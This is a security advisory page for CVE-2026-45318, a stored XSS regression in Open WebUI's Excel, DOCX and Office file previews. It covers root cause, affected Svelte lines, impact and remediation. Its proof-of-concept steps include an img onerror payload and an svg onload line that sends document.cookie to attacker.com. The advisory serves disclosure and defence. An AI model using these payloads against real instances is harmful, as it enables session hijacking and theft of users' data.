Skip to main content

Open WebUI CVE-2026-45318

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-hcwp-82g6-8wxc
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:19 vuln.today
Analysis Generated
May 14, 2026 - 21:19 vuln.today
CVE Published
May 14, 2026 - 20:18 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause - XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify - was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte - Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

svelte
{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte - Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

svelte
{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte - DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

svelte
{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

svelte
<!-- MarkdownInlineTokens.svelte:130 - SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 - SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 - SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

MetricValue
Total {@html} usages23
With DOMPurify9 (39%)
Without DOMPurify14 (61%)
Confirmed exploitable (file preview)3

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing - these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

  • Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

  1. Create a .xlsx file with a cell containing:
   <img src=x onerror="alert(document.cookie)">

(Using a library like openpyxl to inject raw HTML into cell values)

  1. Upload the file to Open WebUI via the chat file upload
  2. When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

  1. Create a .docx file with embedded HTML:
xml
   <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
  1. Upload to Open WebUI
  2. File preview renders docxHtmlXSS fires

PoC 3: Verify Rendering Path

javascript
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

  • Stored XSS - malicious file is stored server-side, XSS fires for every user who previews it
  • Session hijacking via document.cookie theft
  • Account takeover - attacker can perform actions as the victim user
  • Data exfiltration - read chat history, API keys, uploaded documents
  • Multi-user environments - shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
  • Defense propagation failure - DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

svelte
<!-- FilePreview.svelte:324 - FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 - FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 - FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
  • OWASP XSS Prevention Cheat Sheet
  • GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

AnalysisAI

Stored cross-site scripting (XSS) in Open WebUI versions up to 0.9.2 allows authenticated users to upload malicious Office files (Excel, DOCX, PPT) that execute arbitrary JavaScript in the browsers of any user previewing the file. The vulnerability stems from rendering user-supplied HTML from file-preview components using Svelte's {@html} directive without DOMPurify sanitization, despite DOMPurify being available and correctly applied in 39% of the codebase's other rendering locations. This is a regression of a previously patched vulnerability (GHSA-jwf8-pv5p-vhmc) that was fixed in v0.8.0 but reintroduced after that release.

Technical ContextAI

Open WebUI uses server-side libraries to convert uploaded Office documents (XLSX, DOCX, PPT) to HTML for in-browser preview. The conversion output (excelHtml, docxHtml, fileOfficeHtml) is passed directly to Svelte's {@html} directive in three components: FilePreview.svelte (line 324), FileItemModal.svelte (lines 560 and 590). Svelte's {@html} renders strings as raw HTML without encoding, and without explicit sanitization via DOMPurify.sanitize(), any embedded JavaScript payloads (e.g., <img onerror>, <svg onload>, <iframe srcdoc>) execute in the rendering user's context. The root cause is a defense propagation failure: DOMPurify is imported and correctly used in 9 of 23 {@html} locations (39%) in components like MarkdownInlineTokens.svelte, General.svelte, and Banner.svelte, but the three file-preview code paths were not covered, either through oversight or incomplete remediation of the prior GHSA-jwf8-pv5p-vhmc fix. CWE-79 (Improper Neutralization of Input During Web Page Generation) classifies this as a classic stored XSS due to user-controllable HTML being rendered without escaping or sanitization.

RemediationAI

Vendor-released patch: upgrade to Open WebUI v0.9.3 or later. The fix applies DOMPurify.sanitize() to all three unsanitized file-preview rendering paths: FilePreview.svelte line 324, FileItemModal.svelte lines 560 and 590. If immediate upgrade is not possible, implement compensating controls: (1) disable Office file preview entirely by removing or restricting file upload functionality to non-executable formats (plain text, PDF), though this reduces user experience; (2) restrict file upload permissions to trusted users only via role-based access control, reducing exposure surface but not eliminating risk from malicious insiders; (3) implement Content Security Policy (CSP) headers prohibiting inline script execution (script-src with no 'unsafe-inline') to mitigate XSS execution even if HTML is rendered unsanitized, though CSP is a defense-in-depth layer and does not replace proper input sanitization; (4) deploy Web Application Firewall (WAF) rules to detect and block uploads containing embedded JavaScript payloads in Office file content. Each control has trade-offs: disabling previews impacts usability, role restrictions require administrative overhead, CSP may break legitimate functionality if scripts are inline, and WAF signatures require maintenance. The primary remediation is immediate patching to v0.9.3 from the GitHub release at https://github.com/open-webui/open-webui/releases/tag/v0.9.3.

Share

CVE-2026-45318 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy